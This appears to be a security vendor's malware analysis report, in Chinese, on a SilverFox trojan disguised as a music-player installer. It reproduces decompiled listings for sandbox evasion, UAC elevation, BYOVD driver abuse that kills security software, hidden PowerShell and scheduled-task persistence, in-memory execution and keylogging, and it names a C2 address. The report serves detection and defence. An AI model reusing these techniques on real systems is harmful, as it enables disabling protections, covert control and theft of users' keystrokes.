400电话
微信咨询
加入我们
咨询时间: 9:30-18:30
400-998-3555
感谢您访问本站!我们检测到您当前使用的是 IE 浏览器。由于微软已正式终止对 IE 浏览器的技术支持,本站现已不再兼容该浏览器,可能会导致页面显示异常或功能无法使用。为了获得最佳体验,建议您:使用 Chrome、Edge、Firefox 等现代浏览器访问。
x

层层伪装 暗藏玄机——银狐木马借正规驱动静默接管你的电脑

  • 作者:火绒安全

  • 发布时间:2026-07-30

  • 阅读量:1402

摘要

近日,火绒安全实验室在日常监测过程中捕获一款伪装为音乐播放器安装包的病毒样本。经火绒安全工程师分析判定,该样本属于多阶段攻击载荷,具备终止安全软件进程、建立持久化驻留、部署远控后门及实现内网中继四项核心能力。其利用经合法签名的 Adlice TrueSight 驱动进入内核态,依据内置的212个安全软件映像名在内核层直接终止相关进程,规避用户态终端检测与响应(EDR)系统的拦截;同时,通过注册表写入、创建伪装为 Edge 浏览器更新的计划任务(以 SYSTEM 权限每分钟触发一次)以及部署 PowerShell 脚本,构建多重冗余的持久化机制。最终释放的thumbs!Edge为功能完备的远控后门,连接硬编码的命令与控制(C2)服务器地址 8.218.106.149:7000,该远控内置56条指令,覆盖下载执行、插件加载、TCP 中继、键盘记录及破坏性清理等操作。目前,火绒安全产品已经实现对该行为的拦截与查杀。

查杀图.png

查杀图


1.样本身份与攻击链总览

本章给出样本的家族归属与静态属性,并把整条攻击链划分为五个阶段;1.3 节的阶段划分是后续各章的分析顺序。


1.1 威胁画像

该样本属于 SilverFox / Zenpak 家族,以音乐播放器安装包伪装,通过大体积 PE 与尾部 overlay 隐藏 Stage-2/Stage-3 载荷,并包含反自动化延迟、UAC 权限请求、BYOVD(自带易受攻击驱动,Bring Your Own Vulnerable Driver)与 DLL 侧载相关组件。


1.2 样本基础信息

表 1-1 汇总父 PE 的身份与静态属性。


表 1-1 父 PE 基础信息

表 1-1 父 PE 基础信息.png


父文件大小约72 MB,该体积本身即为一种伪装手段:.data 段占 58.4 MB,内含Go BuildInfo诱饵、Stage-2 shellcode、webpack source map 与 AES-ECB 加密 overlay(以 QEMB8WGP# 开头),真实载荷混在大量噪声数据里,静态分析很难直接定位。


1.3 攻击链总览与报告主线

图 1-1 给出从父 PE 入口到 thumbs!Edge RAT 上线的完整攻击链。

图 1-1 SilverFox 攻击阶段总览.png

图 1-1 SilverFox 攻击阶段总览


该攻击链可划分为五个阶段,各阶段目标分工明确,体现出攻击链的模块化设计思路。



2.第一阶段:父 PE 加载、反分析延迟与 UAC 自提升

第一阶段始于父 PE,主要完成载荷隐藏、反时序延迟、Stage-2 内存自解密,以及进入下一阶段前的UAC自提升操作。


2.1 文件结构与载荷隐藏

父 PE 通过膨胀 .data 段与尾部 overlay 隐藏载荷;图 2-1 显示 72 MB 文件中各区域的相对位置。


图 2-1 72 MB 父 PE 的文件组成.png

图 2-1 72 MB 父 PE 的文件组成


Stage-2 shellcode 位于 .data 段内,运行时解密执行;Stage-3 加密载荷位于尾部 overlay,由 Stage-3 加载器解密后按 LK@ 标记切分释放(详见 3.1 节)。


2.2 反时序延迟门

父 PE 入口并不直接执行恶意逻辑,而是先进入一段纯计算的延迟循环:通过 CPUID/RDTSC 读取 CPU 时间戳计数器,循环执行 fldpi/frndint 浮点运算,直至累计消耗 0xb2d05e00(约 3×10⁹)个时钟周期才进入主逻辑。代码清单 1 展示 rdtsc_delay 的完整循环。


代码清单 1 父 PE RDTSC 反时序延迟门:

// 程序: 父 PE
// 函数: rdtsc_delay @ 0x1400010b2
// 作用: 通过 CPUID/RDTSC/fldpi 消耗 3×10⁹ 个时钟周期
// 说明: 恒返回 9,属于反自动化延迟而非调试器检测
unsigned __int64 rdtsc_delay(void)
{
    int cpuinfo[4];
    __cpuid(cpuinfo, 0);
    __cpuid(cpuinfo, 1);
    unsigned __int64 threshold = 0xb2d05e00;
    unsigned __int64 start = __rdtsc();
    unsigned __int64 now;
    do {
        fldpi();
        frndint();
        now = __rdtsc();
    } while ((now - start) < threshold);
    return 9;
}

该函数恒返回 9,返回值不参与任何分支判断,而自动化沙箱的行为采样窗口通常仅为数十秒,而此段纯计算延迟足以将恶意行为推迟至采样窗口之外,因此表明该函数的主要作用是通过无意义延迟对抗沙箱分析。此外,该样本中还存在另一处延迟对抗(地址为 0x1400038c0,等待约 3000 个时钟周期),其功能与上述延迟门相同。


2.3 Stage-2 解密与 API 解析

当延迟门通过后,样本进入到第二阶段。此时Shellcode 会在内存中完成自解密。解密分两步:

1. 先以 NOT/XOR/ROL 解开 16 字节 loader stub

2. 再由 stub 以初始密钥 1 逆序执行 321,039 轮 XOR/ADD 流密码,密钥流随明文字节自同步滚动。代码清单 2 给出完整算法。


代码清单 2 Stage-2 自解密

// 程序: 父 PE
// 函数: Stage-2 解密入口 @ 文件偏移 0x4e636
// 作用: 通过 NOT/XOR/ROL 解密 16 字节 loader stub,再执行 321,039 轮 XOR/ADD 流密码
// 说明: 常量 0x0F854C94、循环 0x4E60F、初始密钥 1;解密后 0x4d000-0x4e348 出现 shellcode
void decrypt_stage2(uint8_t *data)
{
    for (int i = 0; i < 4; i++) {
        data[0x0B + i] ^= 0xFF;            // NOT
        data[0x0F + i] ^= 0xFF;            // NOT
    }
    uint32_t v = *(uint32_t *)(data + 0x13) ^ 0x0F854C94;  // XOR 常量
    *(uint32_t *)(data + 0x13) = v;
    v = *(uint32_t *)(data + 0x17);
    v = (v << 25) | (v >> 7);       // ROL by 0xB9
    *(uint32_t *)(data + 0x17) = v;
    uint8_t key = 1;
    for (uint32_t i = 0x4E60F; i > 0; i--) {
        size_t offset = 0x28 + i;
        uint8_t plain = data[offset] ^ key;
        data[offset] = plain;
        key = (key + plain) & 0xFF;       // 密钥流自同步
    }
}


API 解析同样采取了相关的检测对抗措施:父 PE会通过动态 API 解析器,在内存空间中动态解析所需要的导出函数地址,使用自定义算法进行解码,仅于每次调用API前执行解码操作,以此避免被静态检测。Stage-2 在还原后首先检查当前令牌的完整性级别,据此决定是否进入 UAC 自提升分支。


2.4 权限检查与 UAC 自提升

权限令牌的完整性是后续 overlay 解密及驱动加载的前提条件。Stage-2 通过调用 OpenProcessToken 与 GetTokenInformation(指定 TokenElevation)获取 TOKEN_ELEVATION_TYPE:若返回值为 TokenElevationTypeFull,表明权限已提升,则继续执行;否则,构造 SHELLEXECUTEINFOA 结构,并借助 ShellExecuteExA("runas") 弹出 UAC 对话框,请求用户授权后重启自身。完整的实现路径见代码清单 3。


代码清单 3 Stage-2 UAC 自提升路径

// 程序: Stage-2 内存载荷
// 函数: PrivilegeCheck @ 0x4d248 + UAC 路径 @ 0x4d56a-0x4d91a
// 作用: 未提升时以 ShellExecuteExA("runas") 重启自身,切换至高完整性令牌
// 说明: TokenElevationTypeFull 为已提升;否则弹出 UAC 对话框请求授权
void uac_self_elevate(void)
{
    HANDLE hToken;
    TOKEN_ELEVATION_TYPE elevType;
    DWORD retLen;
    OpenProcessToken(GetCurrentProcess(), 0x8, &hToken);
    GetTokenInformation(hToken, TokenElevationType, &elevType,
                        sizeof(elevType), &retLen);
    CloseHandle(hToken);
    if (elevType == TokenElevationTypeFull) {
        return;                            // 已提升,继续 Stage-3
    }
    CHAR path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    SHELLEXECUTEINFOA sei = {0};
    sei.cbSize = sizeof(sei);              // 0x70
    sei.fMask  = SEE_MASK_NOCLOSEPROCESS;  // 0x40
    sei.lpVerb = "runas";
    sei.lpFile = path;
    sei.nShow  = SW_SHOWNORMAL;
    if (ShellExecuteExA(&sei)) {
        ExitProcess(0);                    // 原进程退出,新进程以管理员令牌运行
    }
}


该提权路径依赖于用户交互授权——lpVerb 参数设置为 "runas" 会触发标准 UAC 对话框,而非静默方式的 UAC 绕过。提权成功后,原进程退出,新进程在管理员令牌下执行 Stage-3 加载器并解密 overlay,攻击链由此进入第二阶段。


3.第二阶段:Stage-3 提取、BYOVD 驱动加载与持久化

取得管理员权限后,Stage-3 加载器从 overlay 中还原出 5 个组件文件,加载 TrueSight 驱动,并同步完成持久化部署。


3.1 Overlay 块提取

Stage-3加载器解密overlay后,依据LK@<filename>标记将数据流切分为独立文件,流程见图3-1。

图 3-1 Stage-3 overlay 重构流程.png

图 3-1 Stage-3 overlay 重构流程


提取过程为:扫描器按顺序查找LK@魔数;魔数后为经XOR 0xA7编码的文件名与块长度,可据此对每个块进行切分;块数据再通过种子为0x963239FD的滚动XOR运算还原为明文文件。9.7 MB的overlay中大部分为填充噪声,文件边界被刻意隐藏其中。本次最终共释放5个Stage-3文件,各文件功能如下:vdi_ipc.dat(VDI终止模块,第4章分析)、npwzwmc64.dll(侧加载DLL,5.4节分析)、space.ico(图标文件)、mmHjOx.exe(下载器主体)与viusctrivial.sys(TrueSight驱动,落地后重命名为C:\Windows\Temp\ranchserv.jpg)。


3.2 TrueSight 驱动加载

TrueSight 是 Adlice 公司的合法反 rootkit 驱动,样本复用其“按 PID 终止进程”的内核能力,属于典型的 BYOVD 手法。该驱动 PE 版本资源标识为 Adlice Software / Antirootkit module、版本 2.0.2,并由 CN=Adlice 签名,因此能通过 Windows 驱动签名校验被系统正常加载。图 3-2 显示其 DriverEntry 中创建设备对象与符号链接的关键调用。


图 3-2 TrueSight 驱动 DriverEntry 创建设备与符号链接.png

图 3-2 TrueSight 驱动 DriverEntry 创建设备与符号链接


驱动加载后暴露内核设备 \Device\TrueSight(用户态路径 \\.\TrueSight)。VDI 用户态客户端打开该设备并提交 IOCTL 0x22e044,即可借助驱动的内核权限终止任意进程——这条链路的完整分析见第 4 章。


3.3 持久化与子进程启动

Stage-3 在释放组件的同时,建立了三种持久化与执行机制(详见表 3-1),以确保在原始进程退出后或者系统重启,载荷仍能由系统调度重新触发。


表 3-1 Stage-3 持久化与执行机制

表 3-1 Stage-3 持久化与执行机制.png


注册表层面,Stage-3 向HKLM\SOFTWARE\JDBCC的data项写入运行时构造的字符串,作为病毒重新触发的数据来源。计划任务模板内嵌于 Stage-3 DLL,任务名伪装为 MicrosoftEdgeUpdateTaskUA Task-S-1-5-18(SID S-1-5-18 对应 SYSTEM 账户),任务路径固定为 \Microsoft\Windows\AppID\。模板 XML 指定 <RunLevel>HighestAvailable</RunLevel>、<Hidden>true</Hidden> 与 <Interval>PT1M</Interval>,即以最高权限运行、在任务计划程序界面中隐藏、每分钟重复触发。Stage-3 通过 CreateProcessW 调用 Register-ScheduledTask -TaskPath $taskPath -Xml $xmlContent -TaskName $taskName -Force 完成注册。PowerShell 一侧内嵌两条命令,代码清单 4 给出 CreateProcessW 启动器与命令字符串。


代码清单 4 Stage-3 PowerShell 子进程启动器

// 程序: stage3_synccreate_dll.dll(基址 0x180000000)
// 函数: FUN_180023dc0 @ 0x180023dc0
// 作用: 调用 CreateProcessW 两次启动 PowerShell 子进程,分别设置执行策略和运行脚本
// 说明: 第一处 WaitForSingleObject(..., INFINITE);第二处 WaitForSingleObject(..., 15000),超时 // TerminateProcess
void FUN_180023dc0(void)
{
    // 内嵌命令 1(UTF-16LE @ 0x7A350):
    // powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser"
    CreateProcessW(NULL, cmd1, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);      // 等待执行策略变更完成
 
    // 内嵌命令 2(UTF-16LE @ 0x7A3F0):
    // powershell -ExecutionPolicy Bypass -File "\updated.ps1"
    CreateProcessW(NULL, cmd2, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi2);
    WaitForSingleObject(pi2.hProcess, 15000);        // 15 秒超时
    if (timeout) TerminateProcess(pi2.hProcess, 0);
}


第一条命令将当前用户的 PowerShell 执行策略放宽为 Unrestricted;第二条以 -ExecutionPolicy Bypass 运行 Stage-3 在运行时生成并写入磁盘的 updated.ps1(脚本内容非静态嵌入)。三种机制相互独立,共同构成不依赖原始加载链的重新触发路径:即使父进程退出,计划任务仍每分钟以 SYSTEM 权限拉起载荷,放宽后的执行策略保证后续脚本无需签名即可运行。


4.第三阶段:VDI 解码与内核态进程终止

第三阶段是样本针对系统防护措施进行破坏的环节:VDI 模块解码后枚举进程、比对 212 个安全软件映像名,命中的进程交给 TrueSight 驱动在内核态终止。


4.1 VDI 外层解码

vdi_ipc.dat 是一个三层嵌套容器,解码步骤如下:

1. 载体层:文件前部是合法的 PNG 图片(以 IEND 正常结尾),可直接通过图片查看器打开,降低静态检测命中。

2. 加密层:IEND 之后、偏移 0x213d 处为加密流,按逐字节规则 plain[i] = cipher[i] ^ ((i + 0xA3) & 0xFF) 解密。

3. 载荷层:解密结果偏移 0x3 处即合法 PE(ImageBase 0x180000000);其 .AzA 段再经 LZMA1 解压,得到 212 个目标进程名列表与执行代码。


4.2 TrueSight IOCTL 调用

VDI PE 终止进程的入口是打开 \\.\TrueSight 设备并发送 IOCTL 0x22e044,输入仅为 4 字节 PID。代码清单 5 给出关键指令序列:先用 CreateFileW 以读写权限打开设备,随后在两处 DeviceIoControl 调用点提交栈上的 PID 缓冲。


代码清单 5 VDI 用户态客户端打开 TrueSight 设备并提交 0x22e044

// 程序: vdi_ipc.dat 解密后的 VDI PE
// 函数: TrueSight_KillProcessByPid_22e044 调用链
// 作用: 打开 TrueSight 设备,将匹配 PID 作为 4 字节输入发送 IOCTL 0x22e044
// 说明: 两个 DeviceIoControl 调用点均使用 edx=0x22e044;输入缓冲区 [rsp+0x7c]
0x18002fff9  mov  ebp, edx                     ; PID 入参
0x18003000b  lea  rcx, [rip + 0x2fed6]         ; L"\\.\TrueSight"
0x180030020  mov  dword ptr [rsp + 0x20], 3    ; OPEN_EXISTING
0x180030028  mov  edx, 0xc0000000              ; GENERIC_READ | GENERIC_WRITE
0x180030033  call qword ptr [rip + 0x2607f]    ; CreateFileW
0x18003003c  mov  qword ptr [rsp + 0x70], rax  ; hTrueSight
0x1800302ea  mov  dword ptr [rsp + 0x7c], ebp  ; 4 字节 PID 缓冲
; 调用点 1
0x1800307ce  mov  rcx, qword ptr [rsp + 0x70]  ; hTrueSight
0x1800307e1  lea  r8, [rsp + 0x7c]             ; &pid
0x1800307eb  mov  r9d, 4                       ; 输入长度
0x180030801  mov  edx, 0x22e044                ; terminate-process IOCTL
0x18003080b  call qword ptr [rip + 0x2589f]    ; DeviceIoControl
; 调用点 2
0x180030bb2  mov  r14, qword ptr [rsp + 0x70]  ; hTrueSight
0x180030bc9  lea  r8, [rsp + 0x7c]             ; &pid
0x180030bde  mov  r9d, 4                       ; 输入长度
0x180030be9  mov  edx, 0x22e044                ; terminate-process IOCTL
0x180030bee  mov  rcx, r14                     ; hTrueSight
0x180030bf1  call qword ptr [rip + 0x254b9]    ; DeviceIoControl


4.3 进程枚举与目标匹配

VDI PE通过工具帮助库遍历进程快照,PROCESSENTRY32结构大小为0x130,以外层循环枚举进程,内层循环对212个安全软件映像名执行大小写不敏感比对;命中后取出 th32ProcessID 传入 4.2 节的终止例程。目标列表覆盖 Microsoft Defender、360、卡巴斯基、Avast 等国内外主流产品。代码清单 6 给出关键路径。


代码清单 6 VDI 进程快照枚举与目标匹配循环

// 程序: vdi_ipc.dat 解密后的 VDI PE
// 函数: 进程枚举与目标匹配 @ 0x180015311..0x1800159d9
// 作用: 外层遍历进程快照,内层遍历 212 个安全软件目标名,命中后调用 0x22e044 终止进程
// 说明: 函数经控制流平坦化与常量提取混淆;listing 保留控制流与关键数据指令,SSE/整数运算块以注释概括
0x180015311  mov  dword ptr [rbp + 0x650], 0x130  ; PROCESSENTRY32.dwSize
0x18001531e  call qword ptr [rip + 0x40df4]       ; Process32FirstW
; 混淆块 A:外层索引计算
0x18001544a  je   0x1800159de                     ; 跳过本次进程
0x180015580  lea  r14, [rbp - 0x70]               ; 目标进程名指针表
; 混淆块 B:内层边界计算
0x180015573  jge  0x1800159c3                     ; 边界失败则下一进程
target_loop:
; 混淆块 C:目标索引计算
0x1800155b3  mov  rdx, qword ptr [r14]            ; 当前目标进程名
0x1800155b6  lea  rcx, [rbp + 0x67c]              ; PROCESSENTRY32.szExeFile
0x1800155bd  call 0x1800486ec                     ; case-folded 比较,0 命中
; 混淆块 D:命中标志偏置
0x1800156e7  mov  eax, dword ptr [rbp + 0x658]    ; th32ProcessID
0x1800156ed  mov  dword ptr [rsp + 0x38], eax     ; PID 暂存
; 混淆块 E:PID 参数传递
0x18001597e  mov  edx, dword ptr [rsp + 0x38]     ; arg2 = PID
0x180015982  mov  rcx, qword ptr [r14]
0x180015985  call 0x18002ffd0                     ; TrueSight_KillProcessByPid_22e044
next_target:
0x18001598e  inc  esi                             ; 索引 +1
0x180015990  add  r14, 8                          ; 下一目标指针
0x180015994  cmp  esi, 0xd4                       ; 212 个目标名
0x18001599a  jl   target_loop                     ; 内层遍历全部目标
; 外层循环经 Process32NextW 继续枚举下一进程


4.4 驱动终止逻辑

图 4-1 标出 VDI PE 中两处 DeviceIoControl(..., 0x22e044, ...) 的调用位置。

图 4-1 恢复后的 VDI 中 0x22e044 调用点.png

图 4-1 恢复后的 VDI 中 0x22e044 调用点


驱动侧分发例程IoctlTerminateProcessByPid(0x118ec)逻辑清晰:校验输入长度不小于4字节→从METHOD_BUFFERED的SystemBuffer读取PID→以PROCESS_TERMINATE权限调用ZwOpenProcess→通过ZwTerminateProcess完成终止操作。完整反编译结果见代码清单7。


代码清单 7 TrueSight 驱动 0x22e044 内核终止逻辑

// 程序: viusctrivial_reconstructed.sys
// 函数: IoctlTerminateProcessByPid @ 0x118ec
// 作用: 校验输入长度后按 PID 终止目标进程
// 说明: 从 METHOD_BUFFERED SystemBuffer 取 4 字节 PID;ZwOpenProcess 的 DesiredAccess=1 即 PROCESS_TERMINATE
NTSTATUS IoctlTerminateProcessByPid(PIRP Irp)
{
    PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);   // IRP stack
    ULONG inLen  = stack->Parameters.DeviceIoControl.InputBufferLength;
    PVOID sysBuf = Irp->AssociatedIrp.SystemBuffer;                 // METHOD_BUFFERED buffer
    HANDLE hProcess = NULL;
    NTSTATUS status;
    if (inLen < 4) {                                               // 0x118f9: 长度必须 >= 4
        Irp->IoStatus.Information = 4;
        return STATUS_INVALID_BUFFER_SIZE;                          // 0x80000005
    }
    ULONG pid = *(ULONG *)sysBuf;                                   // 0x1190f: 读取目标 PID
    OBJECT_ATTRIBUTES objAttr;
    CLIENT_ID clientId;
    InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);      // 空 ObjectAttributes
    clientId.UniqueProcess = (HANDLE)(ULONG_PTR)pid;                // 0x11934: CLIENT_ID.UniqueProcess = PID
    clientId.UniqueThread  = 0;                                     // UniqueThread=0
    status = ZwOpenProcess(&hProcess, 1, &objAttr, &clientId);     // 0x11961: access = PROCESS_TERMINATE
    if (NT_SUCCESS(status)) {
        status = ZwTerminateProcess(hProcess, 0);                   // 0x11977: 终止目标进程
        ZwClose(hProcess);
    }
    Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;
}

在内核态中,打开进程与终止进程的操作均由持有合法签名的驱动程序执行,用户态下的 EDR/AV 进程防护机制及 API 钩子均无法介入干预。



5.第四阶段:OSS 下载与侧加载执行

第四阶段完成后续模块的获取与执行:下载器从阿里云OSS拉取缓存文件,经解码后通过白加黑侧加载入内存执行。


5.1 OSS/FOM 下载链

下载器从OSS拉取fs.jpg、f.dat与FOM-50.jpg至FOM-53.jpg共四个缓存文件,经解码后安装至随机目录C:\Program Files (x86)\<random>\,完整流程见图5-1,下载事件序列见图5-2。

图 5-1 二级载荷释放.png

图 5-1 二级载荷释放


图 5-2 OSS.png

图 5-2 OSS/FOM 下载与安装事件序列


FOM-* 缓存的编码格式为“payload 加尾部 5 字节 metadata”。其中,metadata 的前 4 字节(小端序)标识 payload 在文件中的起始偏移,第 5 字节为初始 XOR 密钥。解码时,自该偏移位置起逐字节执行运算:byte ^= key,随后更新密钥 key = (key + 1) & 0xFF,直至 metadata 前一个字节为止,由此还原出安装文件的明文内容。


5.2 XPSPLOG_2 进程内内存执行

安装完成后,随机命名的宿主EXE(VersionInfo伪装为PhilipsSpeechDriverConfiguration.exe)通过白加黑的方式侧载XPSPLOG.dll,其导出函数XPSPLOG_2的执行流程如下:

1. 检查单实例互斥体,若互斥体已存在则直接退出;

2. 使用RC4密钥NYGpuKKiU7?[0kt解密宿主EXE尾部的marker载荷(marker值为2d c4 ba ce 4f 6a fc eb);

3. 在当前进程内申请0x3000字节的RWX权限内存,写入解密后的数据并直接跳转执行,随后进入长睡眠循环驻留。


代码清单 8 XPSPLOG_2 当前进程内存执行

// 程序: XPSPLOG.dll(基址 0x10000000)
// 函数: XPSPLOG_2 @ 0x100020b0
// 作用: 解密宿主 EXE 尾标记载荷后在当前进程分配并执行
// 说明: GetCurrentProcess 返回伪句柄,VirtualAllocEx/WriteProcessMemory 目标均为自身进程,非远程注入
undefined4 XPSPLOG_2(void)
{
    int mutex_ok = FUN_10001f90();                 // 单实例互斥体检查
    if (mutex_ok == 0) {
        ExitProcess(0);                            // 互斥体已存在则退出
    }
    SetProcessShutdownParameters(1, 1);            // 关机优先级
    if (!SetConsoleCtrlHandler(FUN_10002190, 1)) {
        SetConsoleCtrlHandler(FUN_10002190, 1);    // 控制台处理程序
    }
    HMODULE hMsvcrt = LoadLibraryA("msvcrt.dll");
    if (hMsvcrt != NULL) {
        HANDLE hProcess = GetCurrentProcess();     // 当前进程伪句柄
        LPVOID lpBuffer = FUN_10001d40();          // RC4 解密宿主尾部 marker 载荷
        LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, 0x3000,
                               MEM_COMMIT | MEM_RESERVE,
                               PAGE_EXECUTE_READWRITE);      // 0x3000 字节 RWX
        if ((lpBaseAddress != NULL) &&
            (WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, 0x3000, NULL))) {
            ((void (*)())lpBaseAddress)();         // 调用 RWX 缓冲区入口
            do {
                Sleep(0x186a0);                    // 100000 ms 睡眠循环
            } while (true);
        }
    }
    return 0;
}

该函数核心特征为`hProcess = GetCurrentProcess()`:内存分配、写入、调用均在同一进程空间内完成,属于进程内自加载,而非跨进程注入,因此不会触发远程线程创建、跨进程内存写入等典型注入行为的告警。解密完成后的loader将继续依据image.png尾部的metadata解码得到第二个PE,相关说明见5.3节。


5.3 PNG/DB 尾部 PE 解码

image.png与thumbs.db采用与vdi_ipc.dat一致的双段伪装方案:文件前部为合法PNG数据,尾部附加经XOR编码的PE载荷,结构见图5-3:

图 5-3 PNG隐写结构示意图.png

图 5-3 PNG隐写结构示意图


两个文件的尾部解码参数见表 5-1。解码后均为 PE32 文件:image.png 尾部还原出中间 loader 对象,thumbs.db 尾部还原则得到最终的 thumbs!Edge 远控 PE。


表 5-1 image.png / thumbs.db 尾部 PE 解码参数

表 5-1 image.png .png


5.4 npwzwmc64.dll 反分析与直接 syscall

npwzwmc64.dll 在被 mmHjOx.exe 侧载后,其 DllMain 通过反调试与Syscall绕过跟踪调试。DllMain 入口执行 swi(3)(软件中断 int 3)主动触发异常,由预注册的 VEH handler 接管,并检查硬件断点、单步标志与调试寄存器。若检测到调试器,则跳入常量数学运算的假路径并调用 FreeLibrary 卸载自身;否则进入 .obZ/.B$^ 段的真实载荷。此外,该 DLL 不引用 ntdll.dll;.obZ 与 .B$^ 段包含 430 个 0F 05(syscall)序列,VEH handler 的注册同样通过 syscall 实现。绕过ntdll.dll导出表可使依赖用户态hook的EDR无法监测到此类调用。



6.第五阶段:thumbs!Edge 远控上线与持久化

最终载荷 thumbs!Edge 负责与控制器通信。然后实现与远程服务段会话建立过程,最终实现对受控主机的长期驻留与数据回传。


6.1 固定帧协议

thumbs!Edge 与硬编码控制器 8.218.106.149:7000 之间的通信采用固定帧协议,帧结构见表 6-1。


表 6-1 thumbs!Edge 固定帧结构

表 6-1 thumbs!Edge 固定帧结构.png

传输协议采用简单加密机制,客户端通过公式((byte ^ 0xfc) + 0x31) & 0xff完成编码,接收端则通过公式((byte - 0x31) ^ 0xfc) & 0xff完成逆向解码,以此实现通信数据的加密与解密过程。完整参数详见附录B。固定帧将连接状态、命令门控与数据回传整合为同一结构,其中dispatch_flag作为进入命令分发的唯一判定入口。


6.2 C2 上线与会话控制

连接控制端后,thumbs!Edge 首先发送 0xc8 信标包以完成上线注册,随后持续发送心跳包以维持会话连接,等待控制端下发命令。信标负载约为 0x258 字节,所采集的宿主机信息包括:会话标识、本地端点、操作系统版本及构建号、计算机名与用户名、用户空闲状态(通过 GetLastInputInfo 获取)、物理内存容量以及 RDP 端口。控制器在接收到信标后,通过固定帧下发命令。当帧头字段 dispatch_flag 为 1 时,进入命令回调;命令 ID 将指令路由至对应的具体处理分支。


6.3 命令分发与功能分组

命令回调以首字节命令 ID 选择处理分支,56 条命令可按能力分为七组(图 6-1),代表性命令与操作对象见表 6-2。

图 6-1 thumbs!Edge 56 条命令功能分组.png

图 6-1 thumbs!Edge 56 条命令功能分组


表 6-2 thumbs!Edge 命令能力部分分类

表 6-2 thumbs!Edge 命令能力部分分类.png

TCP中继命令0x70可建立一个独立于主会话的二级C2连接,操作者通过子命令,能够对指定IPv4地址及端口发起连接(0x01)、关闭连接(0x02)或发送数据(0x03),目标返回的数据则通过0x06帧回传。利用该命令,受感染主机可充当内网TCP转发节点,使攻击者得以访问原本无法直接抵达的内网服务。

防御破坏类命令可用于删除数据或篡改终端状态:0x72递归删除C:\ProgramData下的指定目录;0x75以SeDebugPrivilege权限终止explorer.exe进程;0x81调用RunDll32.exe执行InetCpl.cpl,ClearMyTracksByProcess 255以清除IE浏览记录;0x82至0x87分别终止Chrome、Skype、Firefox、360se6、QQBrowser和SogouExplorer进程,并递归删除上述程序对应的用户配置目录;0xe8向C:\ProgramData\Microsoft\EdgeUpdate\Log\kill.bat写入包含taskkill与netstat指令的批处理脚本,并通过WinExec执行该文件。


6.4 键盘记录

键盘记录由命令 0x77 触发,采集线程与上传线程各管一段。

  • 采集线程以KeyLogger为互斥体名保证单实例,每10 ms通过GetAsyncKeyState轮询101个虚拟键状态,读取GetKeyState(VK_SHIFT)与GetKeyState(VK_CAPITAL)还原大小写。特殊键做可读化处理:退格记为`<BackSpace>`、回车记为`<Enter>`;前台窗口标题变化时,写入`[标题:]/[时间:]/[内容:]`上下文头,可将击键对应到具体窗口。缓冲达到约0x227字节,或遇到回车/退格,即写入`%CSIDL_0x1c%\Default.dat`(CSIDL_0x1c对应本地应用数据目录)。文件以CreateFileA(GENERIC_WRITE, FILE_SHARE_READ, OPEN_ALWAYS)打开并追加写入,未达0x3200000字节上限时seek到末尾再写入。

  • 上传线程读取 Default.dat 全文,通过 0xd6(开始帧)与 0xd7(数据帧)经 C2 会话回传,完成后进入 Sleep(0x1472) 循环等待后续指令。

6.5 重启后持久化

thumbs!Edge自身亦包含两条用户级持久化分支:命令0x12调用FUN_1000493f(代码清单9),将自身复制至Startup目录,并注册MOVEFILE_DELAY_UNTIL_REBOOT,以便在系统重启后清除原文件;命令0x71将自身复制至C:\Program Files\Common Files\scvhost.exe,并写入注册表项HKCU\...\CurrentVersion\Run。上述两条分支均将执行入口延续至用户重新登录或系统重启之后。


代码清单 9 thumbs!Edge 启动目录复制与重启重命名持久化

// 程序: thumbs_db_tail_xor_decoded.bin(基址 0x10000000)
// 函数: FUN_1000493f @ 0x1000493f
// 作用: 将自身复制到启动目录并注册 MOVEFILE_DELAY_UNTIL_REBOOT
// 说明: CSIDL 7 对应 Startup 文件夹;CopyFileA 后调用 MoveFileExA(..., NULL, 4)
void FUN_1000493f(undefined4 *param_1)
{
    CHAR currentPath[260];
    CHAR startupPath[260];
    CHAR destName[80];
    CHAR destPath[260];
    CHAR rebootPath[260];
    FUN_10011610(&DAT_10053cc0, param_1, 0xcc);
    memset(currentPath, 0, 0x104);
    GetModuleFileNameA(NULL, currentPath, 0x104);
    if (SHGetSpecialFolderPathA(NULL, startupPath, 7, 0)) {   // CSIDL_STARTUP
        wsprintfA(destName, "%s.exe", &DAT_10053cc0);
        wsprintfA(destPath, "%s\\%s", startupPath, destName);
        if (GetFileAttributesA(destPath) == 0xffffffff) {
            wsprintfA(rebootPath, "%s\\%s", startupPath, destName);
            Sleep(100);
            CopyFileA(currentPath, rebootPath, 0);            // 复制到启动目录
            MoveFileExA(currentPath, NULL, 4);                // MOVEFILE_DELAY_UNTIL_REBOOT
            CreateDirectoryA(startupPath, NULL);
            FUN_1000474d(rebootPath);
            SetFileAttributesA(rebootPath, DAT_10053d88);
        }
    }
}



7.检测与防护建议

7.1 检测建议

检测覆盖终端与网络两个层面,重点观测文件落地、启动项、驱动设备访问及 C2/OSS 连接(表 7-1)。


表 7-1 核心监测点

表 7-1 核心监测点.png

单一观测点不排除存在误报可能,建议联合 EDR 事件与网络会话做 IOC 匹配;同一终端同时出现随机名侧加载组件与 8.218.106.149:7000 连接时,应升级处置优先级。


7.3 响应建议

火绒安全提醒广大用户,严格规范软件下载行为,通过软件官网或官方应用商店获取可信信息,杜绝随意安装来源不明的大体积安装包;同时提升网络安全意识,不随意放行未知程序的UAC权限请求、不盲目放宽PowerShell执行策略,避免恶意程序提权驻留。日常需保持安全防护软件实时开启,及时更新病毒库与程序版本,避免给您带来设备受控、数据泄露等严重安全隐患。

数据泄露等严重安全隐患。.png


附录 A IOC 清单

文件与派生对象指纹如下。


表 A-1 文件与派生对象指纹

表 A-1 文件与派生对象指纹.png

网络 IOC 如下。


表 A-2 网络 IOC

表 A-2 网络 IOC.png

路径、注册表与互斥体如下。


表 A-3 路径、注册表与互斥体

表 A-3 路径、注册表与互斥体.png


附录 B 传输参数

表 B-1 thumbs!Edge 固定帧传输参数

表 B-1 thumbs!Edge 固定帧传输参数.png


